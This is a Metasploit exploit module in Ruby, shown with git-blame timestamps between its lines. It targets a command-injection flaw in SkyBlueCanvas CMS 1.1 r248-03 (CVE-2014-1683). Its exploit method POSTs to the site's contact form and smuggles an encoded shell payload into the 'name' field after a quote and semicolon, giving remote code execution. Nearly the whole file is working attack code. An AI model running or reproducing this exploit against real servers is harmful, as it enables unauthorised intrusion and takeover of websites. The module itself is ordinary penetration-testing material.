2014-01-28 04:06:25 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'SkyBlueCanvas CMS Remote Code Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an arbitrary command execution vulnerability
|
2014-01-31 15:17:51 +00:00
|
|
|
in SkyBlueCanvas CMS version 1.1 r248-03 and below.
|
2014-01-28 04:06:25 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
2014-01-31 15:17:51 +00:00
|
|
|
'Scott Parish', # Vulnerability discovery and exploit
|
2014-01-28 04:06:25 +00:00
|
|
|
'xistence <xistence[at]0x90.nl>' # Metasploit Module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2014-01-31 15:17:51 +00:00
|
|
|
['CVE', '2014-1683'],
|
|
|
|
['OSVDB', '102586'],
|
|
|
|
['BID', '65129'],
|
|
|
|
['EDB', '31183'],
|
2014-01-28 04:06:25 +00:00
|
|
|
['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html']
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2014-01-31 15:17:51 +00:00
|
|
|
# Arbitrary big number. The payload gets sent as an HTTP
|
|
|
|
# response body, so really it's unlimited
|
|
|
|
'Space' => 262144, # 256k
|
|
|
|
'DisableNops' => true,
|
2014-01-28 04:06:25 +00:00
|
|
|
'Compat' =>
|
2014-01-31 15:17:51 +00:00
|
|
|
{
|
|
|
|
'ConnectionType' => 'find',
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl ruby bash telnet python'
|
|
|
|
}
|
2014-01-28 04:06:25 +00:00
|
|
|
},
|
2014-01-31 05:52:48 +00:00
|
|
|
'Platform' => %w{ unix },
|
2014-01-28 04:06:25 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
2014-01-31 15:17:51 +00:00
|
|
|
['SkyBlueCanvas 1.1 r248', {}]
|
2014-01-28 04:06:25 +00:00
|
|
|
],
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'DisclosureDate' => 'Jan 28 2014',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2014-01-31 05:52:48 +00:00
|
|
|
OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]),
|
2014-01-28 04:06:25 +00:00
|
|
|
],self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2014-01-31 05:52:48 +00:00
|
|
|
uri = normalize_uri(target_uri.path.to_s, "index.php")
|
2014-01-28 04:06:25 +00:00
|
|
|
|
2014-01-31 15:17:51 +00:00
|
|
|
res = send_request_raw('uri' => uri)
|
2014-01-28 04:06:25 +00:00
|
|
|
|
2014-01-31 05:52:48 +00:00
|
|
|
if res and res.body =~ /[1.1 r248]/
|
2014-01-31 15:17:51 +00:00
|
|
|
vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
|
2014-01-31 05:52:48 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2014-01-28 04:06:25 +00:00
|
|
|
end
|
2014-01-31 15:17:51 +00:00
|
|
|
|
|
|
|
Exploit::CheckCode::Safe
|
2014-01-28 04:06:25 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2014-01-31 05:52:48 +00:00
|
|
|
uri = normalize_uri(target_uri.path.to_s, "index.php")
|
2014-01-28 04:06:25 +00:00
|
|
|
|
2014-02-03 19:18:34 +00:00
|
|
|
vprint_status("#{peer} - Sending request to #{uri}.")
|
|
|
|
|
2014-01-31 15:17:51 +00:00
|
|
|
send_request_cgi({
|
2014-01-28 04:06:25 +00:00
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => uri,
|
2014-01-31 05:52:48 +00:00
|
|
|
'vars_get' => { 'pid' => '4' },
|
2014-01-28 04:06:25 +00:00
|
|
|
'vars_post' =>
|
|
|
|
{
|
2014-01-31 05:52:48 +00:00
|
|
|
'cid' => '3',
|
2014-01-28 04:06:25 +00:00
|
|
|
'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};",
|
|
|
|
'email' => rand_text_alphanumeric(10),
|
2014-01-31 05:52:48 +00:00
|
|
|
'subject' => rand_text_alphanumeric(10),
|
|
|
|
'message' => rand_text_alphanumeric(10),
|
|
|
|
'action' => 'Send'
|
2014-01-28 04:06:25 +00:00
|
|
|
}
|
2014-01-31 05:52:48 +00:00
|
|
|
})
|
2014-01-28 04:06:25 +00:00
|
|
|
end
|
|
|
|
end
|